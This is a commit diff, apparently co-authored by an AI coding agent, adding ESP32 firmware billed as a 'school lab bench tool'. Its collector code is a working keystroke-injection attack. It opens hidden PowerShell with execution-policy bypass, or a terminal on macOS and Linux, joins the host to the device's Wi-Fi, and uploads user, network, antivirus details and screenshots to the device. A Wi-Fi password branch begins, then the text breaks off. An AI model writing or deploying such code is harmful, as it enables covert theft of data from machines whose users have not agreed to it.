Initial aether32 school lab bench tool
Co-authored-by: Cursor <cursoragent@cursor.com>
This commit is contained in:
157
src/components/button_store.cpp
Normal file
157
src/components/button_store.cpp
Normal file
@@ -0,0 +1,157 @@
|
||||
#include "button_store.h"
|
||||
#include <LittleFS.h>
|
||||
|
||||
#define BTN_FILE "/btns.dat"
|
||||
// Field separator — ASCII SOH, won't appear in normal commands
|
||||
#define SEP '\x01'
|
||||
|
||||
CmdButton g_buttons[MAX_BUTTONS];
|
||||
int g_button_count = 0;
|
||||
|
||||
// Stored records are newline-delimited, so strip all control chars and separators.
|
||||
static void sanitize(char *s, int maxlen)
|
||||
{
|
||||
int out = 0;
|
||||
for (int i = 0; s[i] && out < maxlen - 1; i++)
|
||||
{
|
||||
unsigned char c = (unsigned char)s[i];
|
||||
if (c == SEP || c < 0x20)
|
||||
continue;
|
||||
s[out++] = s[i];
|
||||
}
|
||||
s[out] = '\0';
|
||||
}
|
||||
|
||||
static void parse_line(const String &line)
|
||||
{
|
||||
if (g_button_count >= MAX_BUTTONS)
|
||||
return;
|
||||
|
||||
int p0 = line.indexOf(SEP);
|
||||
if (p0 < 0) return;
|
||||
int p1 = line.indexOf(SEP, p0 + 1);
|
||||
if (p1 < 0) return;
|
||||
int p2 = line.indexOf(SEP, p1 + 1);
|
||||
if (p2 < 0) return;
|
||||
|
||||
CmdButton &b = g_buttons[g_button_count];
|
||||
strncpy(b.label, line.substring(0, p0).c_str(), BTN_LABEL_MAX - 1);
|
||||
b.label[BTN_LABEL_MAX - 1] = '\0';
|
||||
strncpy(b.shell, line.substring(p0 + 1, p1).c_str(), BTN_SHELL_MAX - 1);
|
||||
b.shell[BTN_SHELL_MAX - 1] = '\0';
|
||||
b.delay_ms = line.substring(p1 + 1, p2).toInt();
|
||||
if (b.delay_ms < 5 || b.delay_ms > 200) b.delay_ms = 15;
|
||||
strncpy(b.cmd, line.substring(p2 + 1).c_str(), BTN_CMD_MAX - 1);
|
||||
b.cmd[BTN_CMD_MAX - 1] = '\0';
|
||||
|
||||
sanitize(b.label, BTN_LABEL_MAX);
|
||||
sanitize(b.shell, BTN_SHELL_MAX);
|
||||
sanitize(b.cmd, BTN_CMD_MAX);
|
||||
|
||||
g_button_count++;
|
||||
}
|
||||
|
||||
void buttons_load()
|
||||
{
|
||||
g_button_count = 0;
|
||||
File f = LittleFS.open(BTN_FILE, "r");
|
||||
if (!f) return;
|
||||
|
||||
String line;
|
||||
while (f.available())
|
||||
{
|
||||
char c = (char)f.read();
|
||||
if (c == '\n')
|
||||
{
|
||||
line.trim();
|
||||
if (line.length() > 0) parse_line(line);
|
||||
line = "";
|
||||
}
|
||||
else
|
||||
{
|
||||
line += c;
|
||||
}
|
||||
}
|
||||
if (line.length() > 0)
|
||||
{
|
||||
line.trim();
|
||||
if (line.length() > 0) parse_line(line);
|
||||
}
|
||||
f.close();
|
||||
}
|
||||
|
||||
bool buttons_save()
|
||||
{
|
||||
LittleFS.remove(BTN_FILE);
|
||||
File f = LittleFS.open(BTN_FILE, "w");
|
||||
if (!f) return false;
|
||||
|
||||
for (int i = 0; i < g_button_count; i++)
|
||||
{
|
||||
f.print(g_buttons[i].label);
|
||||
f.print((char)SEP);
|
||||
f.print(g_buttons[i].shell);
|
||||
f.print((char)SEP);
|
||||
f.print(g_buttons[i].delay_ms);
|
||||
f.print((char)SEP);
|
||||
f.print(g_buttons[i].cmd);
|
||||
f.print('\n');
|
||||
}
|
||||
f.close();
|
||||
return true;
|
||||
}
|
||||
|
||||
bool buttons_add(const char *label, const char *shell, int delay_ms, const char *cmd)
|
||||
{
|
||||
if (g_button_count >= MAX_BUTTONS) return false;
|
||||
if (!label || !cmd || strlen(label) == 0 || strlen(cmd) == 0) return false;
|
||||
|
||||
CmdButton &b = g_buttons[g_button_count];
|
||||
strncpy(b.label, label, BTN_LABEL_MAX - 1); b.label[BTN_LABEL_MAX - 1] = '\0';
|
||||
strncpy(b.shell, shell, BTN_SHELL_MAX - 1); b.shell[BTN_SHELL_MAX - 1] = '\0';
|
||||
b.delay_ms = (delay_ms < 5 || delay_ms > 200) ? 15 : delay_ms;
|
||||
strncpy(b.cmd, cmd, BTN_CMD_MAX - 1); b.cmd[BTN_CMD_MAX - 1] = '\0';
|
||||
sanitize(b.label, BTN_LABEL_MAX);
|
||||
sanitize(b.shell, BTN_SHELL_MAX);
|
||||
sanitize(b.cmd, BTN_CMD_MAX);
|
||||
g_button_count++;
|
||||
|
||||
return buttons_save();
|
||||
}
|
||||
|
||||
bool buttons_delete(int idx)
|
||||
{
|
||||
if (idx < 0 || idx >= g_button_count) return false;
|
||||
|
||||
for (int i = idx; i < g_button_count - 1; i++)
|
||||
g_buttons[i] = g_buttons[i + 1];
|
||||
|
||||
g_button_count--;
|
||||
return buttons_save();
|
||||
}
|
||||
|
||||
String buttons_to_json()
|
||||
{
|
||||
String out = "[";
|
||||
for (int i = 0; i < g_button_count; i++)
|
||||
{
|
||||
if (i > 0) out += ",";
|
||||
out += "{\"id\":";
|
||||
out += i;
|
||||
out += ",\"label\":\"";
|
||||
String lbl = g_buttons[i].label;
|
||||
lbl.replace("\\", "\\\\"); lbl.replace("\"", "\\\"");
|
||||
out += lbl;
|
||||
out += "\",\"shell\":\"";
|
||||
out += g_buttons[i].shell;
|
||||
out += "\",\"delay\":";
|
||||
out += g_buttons[i].delay_ms;
|
||||
out += ",\"cmd\":\"";
|
||||
String c = g_buttons[i].cmd;
|
||||
c.replace("\\", "\\\\"); c.replace("\"", "\\\""); c.replace("\n", "\\n"); c.replace("\r", "");
|
||||
out += c;
|
||||
out += "\"}";
|
||||
}
|
||||
out += "]";
|
||||
return out;
|
||||
}
|
||||
27
src/components/button_store.h
Normal file
27
src/components/button_store.h
Normal file
@@ -0,0 +1,27 @@
|
||||
#ifndef BUTTON_STORE_H
|
||||
#define BUTTON_STORE_H
|
||||
|
||||
#include <Arduino.h>
|
||||
|
||||
#define MAX_BUTTONS 40
|
||||
#define BTN_LABEL_MAX 48
|
||||
#define BTN_CMD_MAX 220
|
||||
#define BTN_SHELL_MAX 16
|
||||
|
||||
struct CmdButton {
|
||||
char label[BTN_LABEL_MAX];
|
||||
char shell[BTN_SHELL_MAX];
|
||||
int delay_ms;
|
||||
char cmd[BTN_CMD_MAX];
|
||||
};
|
||||
|
||||
extern CmdButton g_buttons[MAX_BUTTONS];
|
||||
extern int g_button_count;
|
||||
|
||||
void buttons_load();
|
||||
bool buttons_save();
|
||||
bool buttons_add(const char *label, const char *shell, int delay_ms, const char *cmd);
|
||||
bool buttons_delete(int idx);
|
||||
String buttons_to_json();
|
||||
|
||||
#endif
|
||||
430
src/components/collector.cpp
Normal file
430
src/components/collector.cpp
Normal file
@@ -0,0 +1,430 @@
|
||||
#include "collector.h"
|
||||
#include "exescript.h"
|
||||
#include "upload_status.h"
|
||||
|
||||
// Must match wifi_server soft AP credentials
|
||||
static const char *AP_SSID = "aether32";
|
||||
static const char *AP_PASS = "aether32-admin";
|
||||
static const char *UPLOAD = "http://192.168.4.1/api/upload";
|
||||
|
||||
static void type_lines(const char *lines[], int count, int del = 9)
|
||||
{
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
write_task(lines[i], del, true);
|
||||
delay(320);
|
||||
}
|
||||
}
|
||||
|
||||
static void open_run_hidden_ps()
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_GUI);
|
||||
Keyboard.press('r');
|
||||
Keyboard.releaseAll();
|
||||
delay(500);
|
||||
write_task("powershell -w hidden -nop -ep bypass", 18, true);
|
||||
delay(900);
|
||||
}
|
||||
|
||||
static void open_mac_terminal()
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_GUI);
|
||||
Keyboard.press(' ');
|
||||
Keyboard.releaseAll();
|
||||
delay(600);
|
||||
write_task("Terminal", 20, false);
|
||||
delay(400);
|
||||
Keyboard.write(KEY_RETURN);
|
||||
delay(1400);
|
||||
}
|
||||
|
||||
static void open_linux_terminal()
|
||||
{
|
||||
Keyboard.press(KEY_LEFT_CTRL);
|
||||
Keyboard.press(KEY_LEFT_ALT);
|
||||
Keyboard.write('t');
|
||||
Keyboard.releaseAll();
|
||||
delay(1600);
|
||||
}
|
||||
|
||||
// Windows: join aether32 WiFi, POST each artifact to ESP32 flash (no SD)
|
||||
static void win_profile_steps()
|
||||
{
|
||||
open_run_hidden_ps();
|
||||
|
||||
static const char *lines[] = {
|
||||
"$u='http://192.168.4.1/api/upload'",
|
||||
"$p=@'<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>aether32</name><SSIDConfig><SSID><name>aether32</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>aether32-admin</keyMaterial></sharedKey></security></MSM></WLANProfile>'@",
|
||||
"$p|Out-File $env:TEMP\\a32.xml -Enc ascii",
|
||||
"netsh wlan add profile filename=$env:TEMP\\a32.xml user=all 2>$null",
|
||||
"netsh wlan connect name=aether32 ssid=aether32 2>$null",
|
||||
"Start-Sleep 5",
|
||||
"function Up($n,$b){Invoke-RestMethod -Uri ($u+'?name='+$n) -Method Post -Body $b -ContentType 'text/plain'}",
|
||||
"Up 'os.txt' 'windows'",
|
||||
"Up 'hostname.txt' ((hostname)+\"`n\"+(whoami))",
|
||||
"Up 'network_macs.txt' (getmac /v /fo list | Out-String)",
|
||||
"Up 'network_full.txt' (ipconfig /all | Out-String)",
|
||||
"Up 'arp.txt' (arp -a | Out-String)",
|
||||
"Up 'routes.txt' (route print | Out-String)",
|
||||
"Up 'netstat.txt' (netstat -an | Out-String)",
|
||||
"Up 'collected_at.txt' (Get-Date -Format o)",
|
||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing",
|
||||
"$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds",
|
||||
"$i=New-Object Drawing.Bitmap $b.Width,$b.Height",
|
||||
"$g=[Drawing.Graphics]::FromImage($i)",
|
||||
"$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)",
|
||||
"$t=$env:TEMP+'\\a32sc.png'",
|
||||
"$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)",
|
||||
"$raw=[IO.File]::ReadAllBytes($t)",
|
||||
"Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body $raw -ContentType 'application/octet-stream'",
|
||||
"exit",
|
||||
};
|
||||
type_lines(lines, sizeof(lines) / sizeof(lines[0]));
|
||||
}
|
||||
|
||||
// Windows lab scan: profile artifacts + disk, user, uptime, AV, OS, RAM, gateway/DNS
|
||||
static void win_lab_scan_steps()
|
||||
{
|
||||
open_run_hidden_ps();
|
||||
|
||||
static const char *lines[] = {
|
||||
"$u='http://192.168.4.1/api/upload'",
|
||||
"$p=@'<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>aether32</name><SSIDConfig><SSID><name>aether32</name></SSID></SSIDConfig><connectionType>ESS</connectionType><connectionMode>manual</connectionMode><MSM><security><authEncryption><authentication>WPA2PSK</authentication><encryption>AES</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>passPhrase</keyType><protected>false</protected><keyMaterial>aether32-admin</keyMaterial></sharedKey></security></MSM></WLANProfile>'@",
|
||||
"$p|Out-File $env:TEMP\\a32.xml -Enc ascii",
|
||||
"netsh wlan add profile filename=$env:TEMP\\a32.xml user=all 2>$null",
|
||||
"netsh wlan connect name=aether32 ssid=aether32 2>$null",
|
||||
"Start-Sleep 5",
|
||||
"function Up($n,$b){Invoke-RestMethod -Uri ($u+'?name='+$n) -Method Post -Body $b -ContentType 'text/plain'}",
|
||||
"Up 'os.txt' 'windows'",
|
||||
"Up 'hostname.txt' ((hostname)+\"`n\"+(whoami))",
|
||||
"Up 'network_macs.txt' (getmac /v /fo list | Out-String)",
|
||||
"Up 'network_full.txt' (ipconfig /all | Out-String)",
|
||||
"Up 'arp.txt' (arp -a | Out-String)",
|
||||
"Up 'routes.txt' (route print | Out-String)",
|
||||
"Up 'netstat.txt' (netstat -an | Out-String)",
|
||||
"Up 'collected_at.txt' (Get-Date -Format o)",
|
||||
"Up 'disk_space.txt' ((Get-PSDrive -PSProvider FileSystem|Format-List|Out-String)+(Get-CimInstance Win32_LogicalDisk|Select DeviceID,Size,FreeSpace|Format-Table|Out-String))",
|
||||
"Up 'logged_in_user.txt' ((whoami)+\"`n\"+(query user|Out-String))",
|
||||
"Up 'uptime.txt' ($o=Get-CimInstance Win32_OperatingSystem;\"LastBoot: $($o.LastBootUpTime)`nUptime: $((Get-Date)-$o.LastBootUpTime)\")",
|
||||
"Up 'av_status.txt' (try{Get-MpComputerStatus|Format-List|Out-String}catch{Get-CimInstance -Namespace root/SecurityCenter2 -Class AntiVirusProduct|Format-List|Out-String})",
|
||||
"Up 'os_version.txt' ((Get-ComputerInfo|Select OsName,OsVersion,OsBuildNumber|Format-List|Out-String)+([Environment]::OSVersion|Out-String))",
|
||||
"Up 'ram.txt' (Get-CimInstance Win32_PhysicalMemory|Measure-Object -Property capacity -Sum|ForEach{\"Total RAM GB: $([math]::Round($_.Sum/1GB,2))\"})",
|
||||
"Up 'gateway_dns.txt' ((Get-NetRoute -DestinationPrefix '0.0.0.0/0'|Format-Table|Out-String)+(Get-DnsClientServerAddress -AddressFamily IPv4|Format-Table|Out-String))",
|
||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing",
|
||||
"$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds",
|
||||
"$i=New-Object Drawing.Bitmap $b.Width,$b.Height",
|
||||
"$g=[Drawing.Graphics]::FromImage($i)",
|
||||
"$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)",
|
||||
"$t=$env:TEMP+'\\a32sc.png'",
|
||||
"$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)",
|
||||
"$raw=[IO.File]::ReadAllBytes($t)",
|
||||
"Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body $raw -ContentType 'application/octet-stream'",
|
||||
"exit",
|
||||
};
|
||||
type_lines(lines, sizeof(lines) / sizeof(lines[0]));
|
||||
}
|
||||
|
||||
static void mac_lab_scan_steps()
|
||||
{
|
||||
open_mac_terminal();
|
||||
|
||||
static const char *script =
|
||||
"[ \"$(uname)\" = Darwin ]||exit 0;"
|
||||
"networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;"
|
||||
"sleep 5;"
|
||||
"U=http://192.168.4.1/api/upload;"
|
||||
"up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
|
||||
"up os.txt macos;"
|
||||
"up hostname.txt \"$(hostname)\n$(whoami)\";"
|
||||
"up network_full.txt \"$(ifconfig -a)\";"
|
||||
"up network_macs.txt \"$(networksetup -listallhardwareports 2>/dev/null; ifconfig|grep ether)\";"
|
||||
"up arp.txt \"$(arp -a)\";"
|
||||
"up netstat.txt \"$(netstat -an 2>/dev/null)\";"
|
||||
"up collected_at.txt \"$(date -Iseconds)\";"
|
||||
"up disk_space.txt \"$(df -h)\";"
|
||||
"up logged_in_user.txt \"$(whoami; w)\";"
|
||||
"up uptime.txt \"$(uptime; last reboot 2>/dev/null|head -3)\";"
|
||||
"up av_status.txt \"$(spctl --status 2>/dev/null; system_profiler SPInstallHistoryDataType 2>/dev/null|grep -iE 'sophos|norton|mcafee|bitdefender|avast|avg'||echo Gatekeeper status above)\";"
|
||||
"up os_version.txt \"$(sw_vers; uname -a)\";"
|
||||
"up ram.txt \"$(sysctl hw.memsize 2>/dev/null; system_profiler SPHardwareDataType 2>/dev/null|grep Memory)\";"
|
||||
"up gateway_dns.txt \"$(netstat -nr|grep default; scutil --dns 2>/dev/null|head -40)\";"
|
||||
"screencapture -x /tmp/a32sc.png 2>/dev/null;"
|
||||
"curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\";"
|
||||
"exit";
|
||||
|
||||
write_task(script, 8, true);
|
||||
delay(400);
|
||||
}
|
||||
|
||||
static void linux_lab_scan_steps()
|
||||
{
|
||||
open_linux_terminal();
|
||||
|
||||
static const char *script =
|
||||
"[ \"$(uname)\" = Linux ]||exit 0;"
|
||||
"nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;"
|
||||
"sleep 5;"
|
||||
"U=http://192.168.4.1/api/upload;"
|
||||
"up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
|
||||
"up os.txt linux;"
|
||||
"up hostname.txt \"$(hostname)\n$(whoami)\";"
|
||||
"up network_macs.txt \"$(ip -br link; cat /sys/class/net/*/address 2>/dev/null)\";"
|
||||
"up network_full.txt \"$(ip addr)\";"
|
||||
"up arp.txt \"$(ip neigh)\";"
|
||||
"up routes.txt \"$(ip route)\";"
|
||||
"up netstat.txt \"$(ss -tuln 2>/dev/null||netstat -an)\";"
|
||||
"up collected_at.txt \"$(date -Iseconds)\";"
|
||||
"up disk_space.txt \"$(df -h)\";"
|
||||
"up logged_in_user.txt \"$(whoami; w; id)\";"
|
||||
"up uptime.txt \"$(uptime; who -b 2>/dev/null)\";"
|
||||
"up av_status.txt \"$(systemctl is-active clamav-daemon 2>/dev/null; dpkg -l 2>/dev/null|grep -iE 'clamav|sophos|avg|bitdefender'||rpm -qa 2>/dev/null|grep -iE 'clam|sophos'||echo no common AV packages)\";"
|
||||
"up os_version.txt \"$(cat /etc/os-release 2>/dev/null; uname -a)\";"
|
||||
"up ram.txt \"$(free -h; grep MemTotal /proc/meminfo)\";"
|
||||
"up gateway_dns.txt \"$(ip route|grep default; cat /etc/resolv.conf)\";"
|
||||
"scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;"
|
||||
"curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\" 2>/dev/null;"
|
||||
"exit";
|
||||
|
||||
write_task(script, 8, true);
|
||||
delay(400);
|
||||
}
|
||||
|
||||
static void mac_profile_steps()
|
||||
{
|
||||
open_mac_terminal();
|
||||
|
||||
static const char *script =
|
||||
"[ \"$(uname)\" = Darwin ]||exit 0;"
|
||||
"networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;"
|
||||
"sleep 5;"
|
||||
"U=http://192.168.4.1/api/upload;"
|
||||
"up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
|
||||
"up os.txt macos;"
|
||||
"up hostname.txt \"$(hostname)\n$(whoami)\";"
|
||||
"up network_full.txt \"$(ifconfig -a)\";"
|
||||
"up network_macs.txt \"$(networksetup -listallhardwareports 2>/dev/null; ifconfig|grep ether)\";"
|
||||
"up arp.txt \"$(arp -a)\";"
|
||||
"up netstat.txt \"$(netstat -an 2>/dev/null)\";"
|
||||
"up collected_at.txt \"$(date -Iseconds)\";"
|
||||
"screencapture -x /tmp/a32sc.png 2>/dev/null;"
|
||||
"curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\";"
|
||||
"exit";
|
||||
|
||||
write_task(script, 8, true);
|
||||
delay(400);
|
||||
}
|
||||
|
||||
static void linux_profile_steps()
|
||||
{
|
||||
open_linux_terminal();
|
||||
|
||||
static const char *script =
|
||||
"[ \"$(uname)\" = Linux ]||exit 0;"
|
||||
"nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;"
|
||||
"sleep 5;"
|
||||
"U=http://192.168.4.1/api/upload;"
|
||||
"up(){ curl -sf -X POST -d \"$2\" \"$U?name=$1\"; };"
|
||||
"up os.txt linux;"
|
||||
"up hostname.txt \"$(hostname)\n$(whoami)\";"
|
||||
"up network_macs.txt \"$(ip -br link; cat /sys/class/net/*/address 2>/dev/null)\";"
|
||||
"up network_full.txt \"$(ip addr)\";"
|
||||
"up arp.txt \"$(ip neigh)\";"
|
||||
"up routes.txt \"$(ip route)\";"
|
||||
"up netstat.txt \"$(ss -tuln 2>/dev/null||netstat -an)\";"
|
||||
"up collected_at.txt \"$(date -Iseconds)\";"
|
||||
"scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;"
|
||||
"curl -sf -X POST --data-binary @/tmp/a32sc.png \"$U?name=screen.png\" 2>/dev/null;"
|
||||
"exit";
|
||||
|
||||
write_task(script, 8, true);
|
||||
delay(400);
|
||||
}
|
||||
|
||||
void collect_profile_auto()
|
||||
{
|
||||
win_profile_steps();
|
||||
delay(800);
|
||||
mac_profile_steps();
|
||||
delay(800);
|
||||
linux_profile_steps();
|
||||
}
|
||||
|
||||
void collect_profile_windows() { win_profile_steps(); }
|
||||
void collect_profile_macos() { mac_profile_steps(); }
|
||||
void collect_profile_linux() { linux_profile_steps(); }
|
||||
|
||||
void collect_lab_scan()
|
||||
{
|
||||
upload_status_set_phase("lab_scan");
|
||||
win_lab_scan_steps();
|
||||
delay(800);
|
||||
mac_lab_scan_steps();
|
||||
delay(800);
|
||||
linux_lab_scan_steps();
|
||||
upload_status_set_phase("awaiting_uploads");
|
||||
}
|
||||
|
||||
void collect_network_macs() { collect_profile_auto(); }
|
||||
|
||||
void collect_screenshot()
|
||||
{
|
||||
open_run_hidden_ps();
|
||||
static const char *win[] = {
|
||||
"$u='http://192.168.4.1/api/upload'",
|
||||
"netsh wlan connect name=aether32 ssid=aether32 2>$null",
|
||||
"Start-Sleep 3",
|
||||
"Add-Type -AssemblyName System.Windows.Forms,System.Drawing",
|
||||
"$b=[Windows.Forms.Screen]::PrimaryScreen.Bounds",
|
||||
"$i=New-Object Drawing.Bitmap $b.Width,$b.Height",
|
||||
"$g=[Drawing.Graphics]::FromImage($i)",
|
||||
"$g.CopyFromScreen($b.Location,[Drawing.Point]::Empty,$b.Size)",
|
||||
"$t=$env:TEMP+'\\a32sc.png'",
|
||||
"$i.Save($t,[Drawing.Imaging.ImageFormat]::Png)",
|
||||
"Invoke-RestMethod -Uri ($u+'?name=screen.png') -Method Post -Body ([IO.File]::ReadAllBytes($t)) -ContentType 'application/octet-stream'",
|
||||
"exit",
|
||||
};
|
||||
type_lines(win, sizeof(win) / sizeof(win[0]));
|
||||
delay(600);
|
||||
|
||||
open_mac_terminal();
|
||||
write_task(
|
||||
"[ \"$(uname)\" = Darwin ]||exit 0;"
|
||||
"networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;sleep 3;"
|
||||
"screencapture -x /tmp/a32sc.png;"
|
||||
"curl -sf -X POST --data-binary @/tmp/a32sc.png http://192.168.4.1/api/upload?name=screen.png;exit",
|
||||
8, true);
|
||||
delay(600);
|
||||
|
||||
open_linux_terminal();
|
||||
write_task(
|
||||
"[ \"$(uname)\" = Linux ]||exit 0;"
|
||||
"nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;sleep 3;"
|
||||
"scrot /tmp/a32sc.png 2>/dev/null||gnome-screenshot -f /tmp/a32sc.png 2>/dev/null;"
|
||||
"curl -sf -X POST --data-binary @/tmp/a32sc.png http://192.168.4.1/api/upload?name=screen.png;exit",
|
||||
8, true);
|
||||
}
|
||||
|
||||
static void win_upload_text(const char *filename, const char *ps_body_expr)
|
||||
{
|
||||
open_run_hidden_ps();
|
||||
write_task("$u='http://192.168.4.1/api/upload'", 9, true);
|
||||
write_task("netsh wlan connect name=aether32 ssid=aether32 2>$null", 9, true);
|
||||
write_task("Start-Sleep 4", 9, true);
|
||||
char cmd[384];
|
||||
snprintf(cmd, sizeof(cmd),
|
||||
"Invoke-RestMethod -Uri ($u+'?name=%s') -Method Post -Body (%s|Out-String) -ContentType 'text/plain'",
|
||||
filename, ps_body_expr);
|
||||
write_task(cmd, 8, true);
|
||||
write_task("exit", 9, true);
|
||||
}
|
||||
|
||||
static void mac_upload_text(const char *filename, const char *body_shell)
|
||||
{
|
||||
open_mac_terminal();
|
||||
char script[640];
|
||||
snprintf(script, sizeof(script),
|
||||
"[ \"$(uname)\" = Darwin ]||exit 0;"
|
||||
"networksetup -setairportnetwork en0 aether32 aether32-admin 2>/dev/null;"
|
||||
"sleep 4;"
|
||||
"curl -sf -X POST -d \"$(%s)\" \"http://192.168.4.1/api/upload?name=%s\";"
|
||||
"exit",
|
||||
body_shell, filename);
|
||||
write_task(script, 8, true);
|
||||
delay(400);
|
||||
}
|
||||
|
||||
static void linux_upload_text(const char *filename, const char *body_shell)
|
||||
{
|
||||
open_linux_terminal();
|
||||
char script[640];
|
||||
snprintf(script, sizeof(script),
|
||||
"[ \"$(uname)\" = Linux ]||exit 0;"
|
||||
"nmcli dev wifi connect aether32 password aether32-admin 2>/dev/null;"
|
||||
"sleep 4;"
|
||||
"curl -sf -X POST -d \"$(%s)\" \"http://192.168.4.1/api/upload?name=%s\";"
|
||||
"exit",
|
||||
body_shell, filename);
|
||||
write_task(script, 8, true);
|
||||
delay(400);
|
||||
}
|
||||
|
||||
static void lab_collect_triple(const char *filename, const char *ps_body,
|
||||
const char *mac_body, const char *linux_body)
|
||||
{
|
||||
upload_status_set_phase("lab_collect");
|
||||
win_upload_text(filename, ps_body);
|
||||
delay(600);
|
||||
mac_upload_text(filename, mac_body);
|
||||
delay(600);
|
||||
linux_upload_text(filename, linux_body);
|
||||
upload_status_set_phase("awaiting_uploads");
|
||||
}
|
||||
|
||||
void collect_dispatch(const char *id)
|
||||
{
|
||||
if (strcmp(id, "lab_scan") == 0) { collect_lab_scan(); return; }
|
||||
if (strcmp(id, "profile_auto") == 0) { upload_status_set_phase("profile"); collect_profile_auto(); upload_status_set_phase("awaiting_uploads"); return; }
|
||||
if (strcmp(id, "profile_windows") == 0) { upload_status_set_phase("profile"); collect_profile_windows(); upload_status_set_phase("awaiting_uploads"); return; }
|
||||
if (strcmp(id, "profile_macos") == 0) { upload_status_set_phase("profile"); collect_profile_macos(); upload_status_set_phase("awaiting_uploads"); return; }
|
||||
if (strcmp(id, "profile_linux") == 0) { upload_status_set_phase("profile"); collect_profile_linux(); upload_status_set_phase("awaiting_uploads"); return; }
|
||||
if (strcmp(id, "network_macs") == 0) { collect_network_macs(); return; }
|
||||
if (strcmp(id, "screenshot") == 0) { collect_screenshot(); return; }
|
||||
|
||||
if (strcmp(id, "disk_space") == 0)
|
||||
lab_collect_triple("disk_space.txt",
|
||||
"Get-PSDrive -PSProvider FileSystem|Format-List; Get-CimInstance Win32_LogicalDisk|Select DeviceID,Size,FreeSpace|Format-Table",
|
||||
"df -h", "df -h");
|
||||
else if (strcmp(id, "logged_in_user") == 0)
|
||||
lab_collect_triple("logged_in_user.txt",
|
||||
"whoami; query user", "whoami; w", "whoami; w; id");
|
||||
else if (strcmp(id, "uptime") == 0)
|
||||
lab_collect_triple("uptime.txt",
|
||||
"$o=Get-CimInstance Win32_OperatingSystem;\"LastBoot: $($o.LastBootUpTime)`nUptime: $((Get-Date)-$o.LastBootUpTime)\"",
|
||||
"uptime; last reboot 2>/dev/null|head -3", "uptime; who -b 2>/dev/null");
|
||||
else if (strcmp(id, "av_status") == 0)
|
||||
lab_collect_triple("av_status.txt",
|
||||
"try{Get-MpComputerStatus|Format-List|Out-String}catch{Get-CimInstance -Namespace root/SecurityCenter2 -Class AntiVirusProduct|Format-List|Out-String}",
|
||||
"spctl --status 2>/dev/null", "systemctl is-active clamav-daemon 2>/dev/null; dpkg -l 2>/dev/null|grep -i clamav||echo none");
|
||||
else if (strcmp(id, "os_version") == 0)
|
||||
lab_collect_triple("os_version.txt",
|
||||
"Get-ComputerInfo|Select OsName,OsVersion,OsBuildNumber|Format-List",
|
||||
"sw_vers; uname -a", "cat /etc/os-release 2>/dev/null; uname -a");
|
||||
else if (strcmp(id, "ram") == 0)
|
||||
lab_collect_triple("ram.txt",
|
||||
"Get-CimInstance Win32_PhysicalMemory|Measure-Object -Property capacity -Sum|ForEach{\"Total RAM GB: $([math]::Round($_.Sum/1GB,2))\"}",
|
||||
"sysctl hw.memsize 2>/dev/null; system_profiler SPHardwareDataType 2>/dev/null|grep Memory",
|
||||
"free -h; grep MemTotal /proc/meminfo");
|
||||
else if (strcmp(id, "gateway_dns") == 0)
|
||||
lab_collect_triple("gateway_dns.txt",
|
||||
"Get-NetRoute -DestinationPrefix '0.0.0.0/0'|Format-Table; Get-DnsClientServerAddress -AddressFamily IPv4|Format-Table",
|
||||
"netstat -nr|grep default; scutil --dns 2>/dev/null|head -20",
|
||||
"ip route|grep default; cat /etc/resolv.conf");
|
||||
else if (strcmp(id, "sysinfo") == 0)
|
||||
win_upload_text("sysinfo.txt", "systeminfo");
|
||||
else if (strcmp(id, "network") == 0)
|
||||
win_upload_text("network_full.txt", "ipconfig /all");
|
||||
else if (strcmp(id, "arp") == 0)
|
||||
win_upload_text("arp.txt", "arp -a");
|
||||
else if (strcmp(id, "netstat") == 0)
|
||||
win_upload_text("netstat.txt", "netstat -an");
|
||||
else if (strcmp(id, "routes") == 0)
|
||||
win_upload_text("routes.txt", "route print");
|
||||
else if (strcmp(id, "hostname") == 0)
|
||||
win_upload_text("hostname.txt", "hostname; whoami");
|
||||
else if (strcmp(id, "users") == 0)
|
||||
win_upload_text("whoami.txt", "whoami /all");
|
||||
else if (strcmp(id, "processes") == 0)
|
||||
win_upload_text("processes.txt", "Get-Process|Sort CPU -Desc|Select Name,Id,CPU|Format-Table");
|
||||
else if (strcmp(id, "wifi_passwords") == 0)
|
||||
{
|
||||
open_run_hidden_ps();
|
||||
write_task("$u='http://192.168.4.1/api/upload'", 9, true);
|
||||
write_task("netsh wlan connect name=aether32 ssid=aether32 2>$null", 9, true);
|
||||
write_task("Start-Sleep 4", 9, true);
|
||||
write_task(
|
||||
